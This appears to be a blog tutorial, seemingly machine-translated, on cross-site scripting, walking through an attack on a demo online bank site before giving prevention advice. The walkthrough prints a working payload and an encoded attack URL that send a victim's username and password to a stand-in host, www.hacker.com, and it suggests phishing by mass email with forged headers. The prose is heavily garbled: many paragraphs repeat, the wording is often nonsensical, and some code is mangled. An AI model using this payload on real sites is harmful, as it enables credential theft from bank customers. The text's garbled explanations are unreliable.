.png)
What is a Cross-Site Scripting Attack?
Think about how often you get an e-mail with a hyperlink. Imagine getting a message with a link to your Online banking site that you can win $ 200 as part of the promotion to use the site.If you click on the link and log in to the site, you can show your login information to the hacker ... just so easy.
This example shows an increasingly popular hacking event known as Cross-Site Scripting. Attack When they follow the links in web pages, e-mail messages, instant messages, newsgroup postings, or various other Media, either unknowingly or unknown sources, users can unintentionally perform scripts written by an attacker.
This example shows an increasingly popular hacking event known as Cross-Site Scripting. Attack When they follow the links in web pages, e-mail messages, instant messages, newsgroup postings, or various other Media, either unknowingly or unknown sources, users can unintentionally perform scripts written by an attacker.
Because malicious scripts use a targeted site to hide their origin, the attacker has full access to the recovered web page and can send the data contained in the page back to their own server.
For example, a malicious script can read the fields in the form provided by the actual server, and then can send this data (such as login information) to the hacker's server.
Although the security community has discussed the dangers of cross-site scripting attacks over the years, these vulnerabilities are the true threat Often overlooked.
Although the security community has discussed the dangers of cross-site scripting attacks over the years, these vulnerabilities are the true threat Often overlooked.
The purpose of this letter is to educate both the application developers and eliminate users on the techniques that can be used.
Exploit a web application with cross-site scripting, suggest how to eliminate such vulnerabilities from web applications, and teach end-users how to identify and reduce the risks from Cross-Site Scripting Attacks.
Cross-Site Scripting Attacks (also known as XSS or CSS) occurs when the dynamically generated web page displays the input that is not properly validated.
Cross-Site Scripting Attack
Cross-Site Scripting Attacks (also known as XSS or CSS) occurs when the dynamically generated web page displays the input that is not properly validated.
It allows an attacker to embed the malicious JavaScript code in the generated page and execute the script on any user's machine that sees the site.
Cross-site scripting can potentially affect any site that allows users to enter data. This vulnerability is usually seen
Since cross-site scripting attacks are closely related to the web server package and user's web browser, choose a brief overview of HTML and HTTP.
Useful for specific cross-site scripting examples before discussing the mechanics.
HTML
HTML documents are plain text files that contain only seven-bit printable ASCII characters. To represent different elements such as headers, tables, Paragraphs, and lists, some special notations that are called tags are used. A tag has a left angle bracket, a tag name, and a right angle bracket.
Tags are usually added to indicate the beginning and end of the tag instruction (e.g., <H1> ... </ H1>). The last tag looks like the start tag, except before a closed virgin tag name.
- The search engine that resonates search keyword that was entered
- An error message that resonates string containing error
- Forms filled where the values are presented to the user later
- Web message boards that allow users to post their messages.
Since cross-site scripting attacks are closely related to the web server package and user's web browser, choose a brief overview of HTML and HTTP.
Useful for specific cross-site scripting examples before discussing the mechanics.
HTML
HTML documents are plain text files that contain only seven-bit printable ASCII characters. To represent different elements such as headers, tables, Paragraphs, and lists, some special notations that are called tags are used. A tag has a left angle bracket, a tag name, and a right angle bracket.
Tags are usually added to indicate the beginning and end of the tag instruction (e.g., <H1> ... </ H1>). The last tag looks like the start tag, except before a closed virgin tag name.
When a web browser opens the HTML document, it will recognize the tag and apply instructions to the string in the middle according to the tag name. For example, when a web browser sees <html>, it starts displaying content in its browser window.
When it sees </ html>, it stops displaying content. When a browser sees <script>, then it starts executing the string as a script program. When it sees </ script>, it closes the execution. The following is an example of a simple HTML document.
Once the document is received, the browser will display an "example of an HTML document" in the browser window and will hold a warning message box "HTML Document".
<html><body><p>Example of HTML document</p><script> alert("HTML Document") </script></body></html>
Once the document is received, the browser will display an "example of an HTML document" in the browser window and will hold a warning message box "HTML Document".
To see how it works, cut and paste sample HTML into a text file, save it as an HTML file, and then open it in a web browser.
HTTP
Hypertext Transfer Protocol (HTTP) is a set of conventions that show how HTML documents are transmitted and received on the World Wide Web. When browsing websites, your web browser is a client program that requests (for example, that a fixed web page is displayed).
Web server somewhere on the internet An important element of HTTP is how servers handle requests from clients (connecting remote computers) Server via the World Wide Web).
HTTP
Hypertext Transfer Protocol (HTTP) is a set of conventions that show how HTML documents are transmitted and received on the World Wide Web. When browsing websites, your web browser is a client program that requests (for example, that a fixed web page is displayed).
Web server somewhere on the internet An important element of HTTP is how servers handle requests from clients (connecting remote computers) Server via the World Wide Web).
A session can be defined as the matching pair of client requests and server response. HTTP is a stateless protocol; While assuming client-server communication, HTTP does not have any concepts of session state.
While it sounds complicated, it's actually quite simple. Each request made by the client is handled individually by a server. Many requests made by the same client are considered unique by the response server. In other words, the server never tries to maintain relationships with the client.
While it sounds complicated, it's actually quite simple. Each request made by the client is handled individually by a server. Many requests made by the same client are considered unique by the response server. In other words, the server never tries to maintain relationships with the client.
This element of HTTP is one of the reasons for the successful cross-site scripting attacks. Once a server accepts the request and creates a web page with the dynamically-injected script by an attacker, it is too late. The probability of damage has already happened.
An Advanced Cross-Site Scripting Attack
There are options on many websites that allow users to enter data and then receive an updated dynamic performance created according to their input. For example, a search engine accepts site requests and then displays the results of the search criteria entered by the user.
An Advanced Cross-Site Scripting Attack
There are options on many websites that allow users to enter data and then receive an updated dynamic performance created according to their input. For example, a search engine accepts site requests and then displays the results of the search criteria entered by the user.
If a user types "asdfghjkl" as the search criteria, then the server can return a page to the client stating that the input is invalid.
It may seem harmless. But suppose the user types are inside
And the search engine returns
Possibly, the client's web browser will explain the script tag and execute the alert (, aaa) function. If so, the search engine is possibly susceptible to cross-site scripting attacks.
It may seem harmless. But suppose the user types are inside
"<Script> Warning ('AAA') </ script>"
And the search engine returns
"Nothing has been found for <script> alerts ('aa') </ script>."
Possibly, the client's web browser will explain the script tag and execute the alert (, aaa) function. If so, the search engine is possibly susceptible to cross-site scripting attacks.
This is a common method attacker that uses to find unsafe sites.
In order to emulate an advanced cross-site scripting attack, we created an online banking site (www.freebank.com) and a web server that anyone can make available
Received information during a successful attack. The attacker starts by searching for a targeted web site for pages that return customer-supplied data. In this example, the attacker finds that when a login attempt fails, the Free bank web application enters the user name
Now, when the attacker knows that the page will "back" in the login page, then he has to determine where to specify the value:
"Invalid Login: Bad login" is both the argument of the "false" parameter Just an error statement indicates that no login information is available for BadLogin), and also includes the display text on the page. (Note that "% 20" is only a different encoding of space characters.)
Now when the attacker knows that cross-site scripting attacks are possible, then it will have to create an attack URL that can be used to steal sensitive information.
Because the HTML code of each webpage is different, this URL should be custom-crafted for each unique page. To determine how to build an attack URL, the attacker must view the HTML source of the web page and accordingly adjust the attack URL.
Next, the attacker examines the page to see if it is possible to inject HTML and JavaScript into a web page. This is done by entering a line of script as the user name.
In order to emulate an advanced cross-site scripting attack, we created an online banking site (www.freebank.com) and a web server that anyone can make available
Received information during a successful attack. The attacker starts by searching for a targeted web site for pages that return customer-supplied data. In this example, the attacker finds that when a login attempt fails, the Free bank web application enters the user name
Now, when the attacker knows that the page will "back" in the login page, then he has to determine where to specify the value:
http://www.freebank.com/banklogin.asp?err=Invalid%20Login:%20Bad Login
"Invalid Login: Bad login" is both the argument of the "false" parameter Just an error statement indicates that no login information is available for BadLogin), and also includes the display text on the page. (Note that "% 20" is only a different encoding of space characters.)
Now when the attacker knows that cross-site scripting attacks are possible, then it will have to create an attack URL that can be used to steal sensitive information.
Because the HTML code of each webpage is different, this URL should be custom-crafted for each unique page. To determine how to build an attack URL, the attacker must view the HTML source of the web page and accordingly adjust the attack URL.
Next, the attacker examines the page to see if it is possible to inject HTML and JavaScript into a web page. This is done by entering a line of script as the user name.
In turn, this replaces the output code of the dynamically generated page in "err = Invalid Login: Bad login" to "err = <Script> alert ('XSS') </ script>. If the web application is actually weak Is, then ". A pop-up box will appear with the message "XSS"
An attacker will pay attention to many important things about this page. The first is that the injection is happening inside the login form (the code responsible for the login box on the web page). The second name is
Login form parameters, respectively "login" and "password". With this knowledge, the attacker will then determine what the HTML and script code is injected into the page.
As previously mentioned, cross-site scripting attacks can be used in various ways to meet different goals. In this case, the attacker decides to steal the username and password fields, because the victim The bank enters the account. This can be done by injecting this code into the document:
To understand what this does, it is necessary to check it in the context of a weak page. This is the code, as it is inserted in the unsafe document. Inject code is highlighted.
The first part of the attack code, "</ form>" tag terminates the original form (code responsible for the login box). After this, the attacker redefines the form. Note that the method and action properties (destination of the form submission) have not been changed.
<HTML><HEAD><TITLE></TITLE></HEAD><BODY><TABLE BGCOLOR="#ffffff" STYLE="border: 3px solid black"><TR><TD STYLE="border-left: 12px solid #2E7AA3; border-top: 7pxsolid #2E7AA3"HEIGHT="47" ROWSPAN="2" VALIGN="TOP"><IMGSRC="/images/freebank-logo2.gif" ALIGN="LEFT" BORDER="0"WIDTH="150"HEIGHT="50"><BR><BR></TD><TD STYLE="border-top: 7px solid #2E7AA3" WIDTH="571"HEIGHT="47" VALIGN="TOP"> </TD></TR><TR><TD WIDTH="571" VALIGN="TOP" ROWSPAN="7" HEIGHT="49"><TABLE><TR><TD BGCOLOR="#2E7AA3" STYLE="border: 1px solid black"WIDTH="258"HEIGHT="217"><FORM ACTION="login1.asp" METHOD="post"><CENTER><script>alert(‘XSS')</script><br>Username:<BR><INPUT TYPE="text" NAME="login"STYLE="border: 1px solid black; spacing: 0"><BR>Password:<BR><INPUT TYPE="password"NAME="password" STYLE="border: 1px solid black; spacing:0"><BR><INPUTTYPE="radio" NAME="graphicOption" VALUE="minimum"CHECKED="CHECKED">
An attacker will pay attention to many important things about this page. The first is that the injection is happening inside the login form (the code responsible for the login box on the web page). The second name is
Login form parameters, respectively "login" and "password". With this knowledge, the attacker will then determine what the HTML and script code is injected into the page.
As previously mentioned, cross-site scripting attacks can be used in various ways to meet different goals. In this case, the attacker decides to steal the username and password fields, because the victim The bank enters the account. This can be done by injecting this code into the document:
</form>
<form action="login1.asp" method="post"
onsubmit="XSSimage = new Image;
XSSimage.src=’http://www.hacker.com/’ +
document.forms(1).login.value + ‘:’ +
document.forms(1).password.value;">
To understand what this does, it is necessary to check it in the context of a weak page. This is the code, as it is inserted in the unsafe document. Inject code is highlighted.
<TABLE><TR><TD BGCOLOR="#2E7AA3" STYLE="border: 1px solid black"WIDTH="258"HEIGHT="217"><FORM ACTION="login1.asp" METHOD="post"><CENTER></form><formaction=”login1.asp”method=”post”onsubmit=”XSSimage = new Image;XSSimage.src=’http://www.hacker.com/’ +document.forms(1).login.value + ‘:’ +document.forms(1).password.value;“><br>Username:<BR><INPUT TYPE="text" NAME="login"STYLE="border: 1px solid black; spacing: 0"><BR>Password:<BR><INPUT TYPE="password
The first part of the attack code, "</ form>" tag terminates the original form (code responsible for the login box). After this, the attacker redefines the form. Note that the method and action properties (destination of the form submission) have not been changed.
However, an additional property (onsite) is added in the form definition. Onsite property is a set of JavaScript commands that are executed when the user clicks on the submit button of a form just before sending the actual form request.
Here, the attacker has set the onsite property for the following Javascript statements:
The first line of code creates a new image object. The second line specifies the URL of the image. The location of the image will always start http://www.hacker.com/ The second part of the URL will be the value of the "Login" and "Password" text box, which is separated by a colon.
Note that image objects do not need to be displayed. Consider images on a web page that change when the mouse moves over them.
XSSimage = new Image;XSSimage.src='http://www.hacker.com/' +document.forms(1).login.value + ':' +document.forms(1).password.value;
Note that image objects do not need to be displayed. Consider images on a web page that change when the mouse moves over them.
When the page is first loaded, both regular images and those images are displayed when the mouse is taken regularly. In this way, the web browser will not need to send a request for a new image, when the mouse runs on the "hot" image; The image is already there. So, when it
The image object is created, which will be done even if the victim submits the login form, a request will be sent to www.hacker.com, in which the victim will have the login user name and password. Now when the attacker has created the exploitation code, he has to put it in the URL, such as:
Unlike the URL used to test the page for cross-site scripting, this URL contains all valid arguments that are normally in logins.
The URL of the page and the "incorrect" parameter is the final one. This is a simple but effective means of deception. If the victim looks at the destination URL before clicking, everything looks normal.
The URL is too long so the cross-site scripting attack part will be hidden in the URL bar.
After the URL is created, the attacker should get the victim to use it to someone else. There are many ways that this can be done by it. E-mail is a tried and true way to get people to go to a link.
By sending large amounts of e-mail messages, the attacker is guaranteed that at least some people (and possibly many more) will suffer. This is particularly handy if the targeted site is large with many customers, or if the attacker managed to get a list of the actual customer's e-mail address.
The image object is created, which will be done even if the victim submits the login form, a request will be sent to www.hacker.com, in which the victim will have the login user name and password. Now when the attacker has created the exploitation code, he has to put it in the URL, such as:
http://www.freebank.com/banklogin.asp?serviceName=FreebankCaastAccess&templateName=prod_sel.forte&source=Freebank&AD_REFERRING_URL=http://www.Freebank.com&err=%3C/form%3E%3Cform%20action=%22login1.asp%22%20method=%22post%22%20onsubmit=%22XSSimage%20=%20new%20Image;XSSimage.src='http://www.hacker.com/'%20%2b%20document.forms(1).login.value%20%2b%20':'%20%2b%20document.forms(1).password.value;%22%3E
Unlike the URL used to test the page for cross-site scripting, this URL contains all valid arguments that are normally in logins.
The URL of the page and the "incorrect" parameter is the final one. This is a simple but effective means of deception. If the victim looks at the destination URL before clicking, everything looks normal.
The URL is too long so the cross-site scripting attack part will be hidden in the URL bar.
After the URL is created, the attacker should get the victim to use it to someone else. There are many ways that this can be done by it. E-mail is a tried and true way to get people to go to a link.
By sending large amounts of e-mail messages, the attacker is guaranteed that at least some people (and possibly many more) will suffer. This is particularly handy if the targeted site is large with many customers, or if the attacker managed to get a list of the actual customer's e-mail address.
Using well-known hacker techniques, the e-mail message can be easily changed with the header so that it can be detected that it has come from almost anywhere. Many e-mail viruses and spam marketers use this technique regularly.
After receiving the e-mail, the victim will click on the link and will log on to the malicious FreeBank page. When the user clicks the Access Account button on the FreeBank site to login, a request will be "silently" sent to the attacker's server.
After receiving the e-mail, the victim will click on the link and will log on to the malicious FreeBank page. When the user clicks the Access Account button on the FreeBank site to login, a request will be "silently" sent to the attacker's server.
Immediately after the execution of this malicious onsite code, the actual form submission (action related to the access accounts button) will be sent and the victim will be logged into a legitimate web application, completely unaware that his or her login credentials are stolen went.
The attacker then checks the log files for www.hacker.com and collects theft information.
An attacker sets a trap, either through e-mail or through a link on the web page, by inserting the malicious code that appears to be a harmless link to someone
Legitimate site After the user clicks on the link, the request of the hacker will be sent to a web server that has cross-site scripting vulnerability. The code inside the link is used to steal login information, cookies, or other relevant data, which is then sent to the attacker's server.
Cross-Site Scripting Attack Prevention
Creating a web site that is not unsafe for cross-site scripting, includes efforts by application developers, server administrators, and browser makers.
The attacker then checks the log files for www.hacker.com and collects theft information.
- Ethical Hacking Tutorials - What is Buffer Overflow Attack?
- Ethical Hacking Tutorials - What DoS Attack?
An attacker sets a trap, either through e-mail or through a link on the web page, by inserting the malicious code that appears to be a harmless link to someone
Legitimate site After the user clicks on the link, the request of the hacker will be sent to a web server that has cross-site scripting vulnerability. The code inside the link is used to steal login information, cookies, or other relevant data, which is then sent to the attacker's server.
Cross-Site Scripting Attack Prevention
Creating a web site that is not unsafe for cross-site scripting, includes efforts by application developers, server administrators, and browser makers.
Although effective, the suggested approaches are not complete solutions in reducing the risk of such an attack. It is best to remember that web application security must be constantly evolving.
As hackers change their methodology, they want to implement a secure web application.
Application Developer / Server Administrator
In order to take advantage of cross-site scripting vulnerability for an attacker, the victim's browser should allow some form of embedded scripting language.
Application Developer / Server Administrator
In order to take advantage of cross-site scripting vulnerability for an attacker, the victim's browser should allow some form of embedded scripting language.
Therefore, cross-site scripting vulnerabilities can be reduced with appropriate filtration on the data supplied by the user. All non-alphanumeric client-supplied data should be replaced in HTML Character Entities before replacing them with clients.
For example, the "less than" character (<) must be & lt; Will be converted into;
Web page developers are responsible for modifying their pages to eliminate these types of problems. Even this tremendous effort is not enough
Erase the risk of cross-site scripting attacks altogether. Developers can create web applications and test them with WebInspect to reduce them
Monumental work Remember, even a cross-site scripting vulnerability can compromise the security of the entire web server.
Solutions for users
For end-users, the most effective way to stop cross-site scripting attacks is to disable all scripting languages in your web browser. The negative side is the resultant loss of functionality. Some websites heavily use scripting languages for functionality, and if scripting languages have been disabled, they may not work properly.
Web page developers are responsible for modifying their pages to eliminate these types of problems. Even this tremendous effort is not enough
Erase the risk of cross-site scripting attacks altogether. Developers can create web applications and test them with WebInspect to reduce them
Monumental work Remember, even a cross-site scripting vulnerability can compromise the security of the entire web server.
Solutions for users
For end-users, the most effective way to stop cross-site scripting attacks is to disable all scripting languages in your web browser. The negative side is the resultant loss of functionality. Some websites heavily use scripting languages for functionality, and if scripting languages have been disabled, they may not work properly.
If a user disables all scripting languages, then the attacker may be able to influence the presence of web site content by embedding other HTML tags in the URL. Disabling scripting languages does not cause malicious use of <FORM> tags.
Secondly, users should be selective about how they initially visit a web site. Do not click links on untrusted web pages or unwanted emails, because links cannot be what they see. The easiest way to save yourself as a user is to follow the link from the main website that you want to see.
Browsers
As most cross-site scripting attacks focus on browser vulnerabilities, users should specifically secure their browser by installing the patch in a timely manner for their browser. There are other methods by which a browser can be made more secure.
Secondly, users should be selective about how they initially visit a web site. Do not click links on untrusted web pages or unwanted emails, because links cannot be what they see. The easiest way to save yourself as a user is to follow the link from the main website that you want to see.
Browsers
As most cross-site scripting attacks focus on browser vulnerabilities, users should specifically secure their browser by installing the patch in a timely manner for their browser. There are other methods by which a browser can be made more secure.
For example, in most cases, the length of the string that returns the server is limited to the length of the client. Therefore, in cross-site scripting attacks, an attacker refers to the server response to script programs located on any other site.
If a browser can refuse to execute any script other than the domain that you see, it will effectively limit the cross-site scripting attacks.
Conclusion
Websites are more complex than ever before, in which the amount of dynamic performance optimized for individual users is increasing.
This letter, dynamic functionality can also cause greater vulnerability to potential theft of cross-site scripting attacks and confidential client information.
Also Read:
Conclusion
Websites are more complex than ever before, in which the amount of dynamic performance optimized for individual users is increasing.
This letter, dynamic functionality can also cause greater vulnerability to potential theft of cross-site scripting attacks and confidential client information.
Also Read:
No comments:
Post a Comment